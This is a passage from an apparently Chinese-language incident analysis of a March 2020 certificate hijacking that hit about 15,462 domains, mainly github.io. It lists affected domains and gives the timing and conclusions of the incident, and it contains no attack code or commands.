451 car.autohome.com.cn

472 www.facebook.com

538 www.gamersky.com

550 www.xiaohongshu.com

552 www.zaobao.com

580 www.xxsy.net

621 www.huya.com

640 mp.toutiao.com

643 www.ifeng.com

689 www.ip138.com

741 dl.pconline.com.cn

742 v.ifeng.com

784 www.yicai.com

957 passport2.chaoxing.com

963 3g.163.com

989 www.doyo.cn


对这些域名发生证书劫持时的DNS解析情况分析发现，这些域名的解析IP均在境外，属于这些域名在境外的CDN服务。值得一提的是尽管这些域名都是排名靠前的大站，但是因为国内访问的时候，CDN解析会将其映射为国内的IP地址，因此国内感知到这些大站被劫持的情况比较小。

受影响二级域排名

在二级域方面，github.io 是受影响最大的二级域，也是此次劫持事件的关注焦点。

1297 github.io

35 app2.xin

25 github.com

18 aliyuncs.com

17 app2.cn

14 nnqp.vip

10 jov.cn

8 pragmaticplay.net

7 tpdz10.monster

7 suning.com


从时间维度来看，这些域名的首次被劫持时间分布如下：

从图中可以看出域名首次受影响的数量有日常作息规律，并且在3月26号数量有了较大幅度的增加。


结论

1）劫持涉及域名较多，共计15462个，其中TOP1000的网站有40个；

2）劫持主要发生在国内用户访问上述域名的海外CDN节点的链路上。国内用户访问国内节点的情况下未见影响；

3）所有这些劫持均使用了以 346608453@qq.com 名义签名的证书，但我们没有找到 编号 346608453 的QQ用户与本次劫持事件相连的直接证据，也不认为该QQ用户与本次事件有直接关联；

4）所有这些劫持最早出现在 20200321 23时附近并且在20200326处于高峰。

5）在20200327 11时之后，此劫持现象已经消失。前后共约131小时。



参考链接

 1. https://v2ex.com/t/656367?p=2